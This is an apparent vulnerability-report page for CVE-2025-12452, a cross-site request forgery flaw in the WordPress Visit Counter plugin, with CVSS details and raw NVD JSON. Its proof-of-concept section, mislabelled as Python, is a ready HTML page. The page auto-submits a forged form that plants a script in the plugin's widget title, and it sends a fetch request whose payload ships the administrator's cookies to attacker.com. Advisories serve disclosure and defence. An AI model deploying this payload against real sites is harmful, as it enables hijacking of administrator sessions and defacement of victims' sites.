Security Vulnerability Report
中文
CVE-2025-12452 CVSS 6.1 MEDIUM

CVE-2025-12452

Published: 2025-11-04 05:16:14
Last Modified: 2026-04-15 00:35:42

Description

The Visit Counter plugin for WordPress is vulnerable to Cross-Site Request Forgery in version 1.0. This is due to missing or incorrect nonce validation on the widgets.php page. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Visit Counter插件 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12452 - Visit Counter WordPress Plugin --> <!-- This PoC demonstrates how to inject malicious JavaScript via CSRF --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-12452</title> </head> <body> <h1>CVE-2025-12452 CSRF PoC</h1> <p>诱骗管理员点击此链接以执行CSRF攻击</p> <!-- 自动提交的表单 --> <form id="csrfForm" action="http://target-wordpress-site/wp-admin/admin.php?page=visit-counter-widgets" method="POST" enctype="multipart/form-data"> <!-- 缺少nonce验证的参数 --> <input type="hidden" name="widget_title" value="<script>alert('XSS by CSRF')</script>"> <input type="hidden" name="action" value="save_widget"> <!-- 其他插件设置参数 --> <input type="hidden" name="counter_style" value="custom"> </form> <script> // 自动提交表单 document.getElementById('csrfForm').submit(); // 或者使用fetch API发送异步请求 fetch('http://target-wordpress-site/wp-admin/admin.php?page=visit-counter-widgets', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'widget_title=<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>&action=save_widget' }); </script> <p>如果管理员已登录,恶意请求将自动发送</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12452", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:14.093", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Visit Counter plugin for WordPress is vulnerable to Cross-Site Request Forgery in version 1.0. This is due to missing or incorrect nonce validation on the widgets.php page. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://wordpress.org/plugins/visit-counter/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d9e0f3a5-35fb-4c7e-892f-8a41498e1d3c?source=cve", "source": "[email protected]"}]}}